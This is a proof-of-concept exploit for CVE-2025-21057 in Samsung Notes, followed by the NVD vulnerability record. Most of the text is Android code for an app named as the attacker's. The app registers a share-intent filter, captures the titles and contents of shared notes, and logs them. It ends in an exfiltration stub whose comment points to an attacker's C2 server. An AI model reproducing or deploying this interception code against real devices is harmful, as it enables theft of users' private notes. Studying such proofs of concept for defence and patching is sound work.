CVE-2025-21057

/* * PoC for CVE-2025-21057: Samsung Notes Implicit Intent Hijacking * This PoC demonstrates how a malicious app can intercept implicit intents * sent by Samsung Notes when sharing notes. * * Steps to reproduce: * 1. Install this malicious app on the same device as Samsung Notes (< 4.4.30.63) * 2. Open Samsung Notes and attempt to share a note * 3. The malicious app will appear in the share sheet and can intercept the note content */ // AndroidManifest.xml - Register intent filter to intercept Samsung Notes sharing intents /* <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.attacker.notesharer"> <application> <activity android:name=".InterceptActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.SEND" /> <category android:name="android.intent.category.DEFAULT" /> <data android:mimeType="text/plain" /> <data android:mimeType="application/*" /> <data android:mimeType="image/*" /> </intent-filter> </activity> </application> </manifest> */ // InterceptActivity.java - Malicious activity to capture shared note content import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.util.Log; public class InterceptActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent intent = getIntent(); String action = intent.getAction(); String type = intent.getType(); if (Intent.ACTION_SEND.equals(action) && type != null) { // Extract the shared note content String sharedText = intent.getStringExtra(Intent.EXTRA_TEXT); String sharedTitle = intent.getStringExtra(Intent.EXTRA_SUBJECT); // Log/exfiltrate the captured sensitive note data Log.d("CVE-2025-21057", "Intercepted note title: " + sharedTitle); Log.d("CVE-2025-21057", "Intercepted note content: " + sharedText); // Send captured data to attacker's server exfiltrateData(sharedTitle, sharedText); } } private void exfiltrateData(String title, String content) { // Implementation to send captured data to attacker's server // e.g., via HTTP POST to attacker's C2 server } }

{"cve": {"id": "CVE-2025-21057", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:41.457", "lastModified": "2025-10-20T18:42:06.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use of implicit intent for sensitive communication in Samsung Notes prior to version 4.4.30.63 allows local attackers to access shared notes."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:notes:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.30.63", "matchCriteriaId": "5029C1F8-35E0-44F9-B0CE-000486E267EB"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=10", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}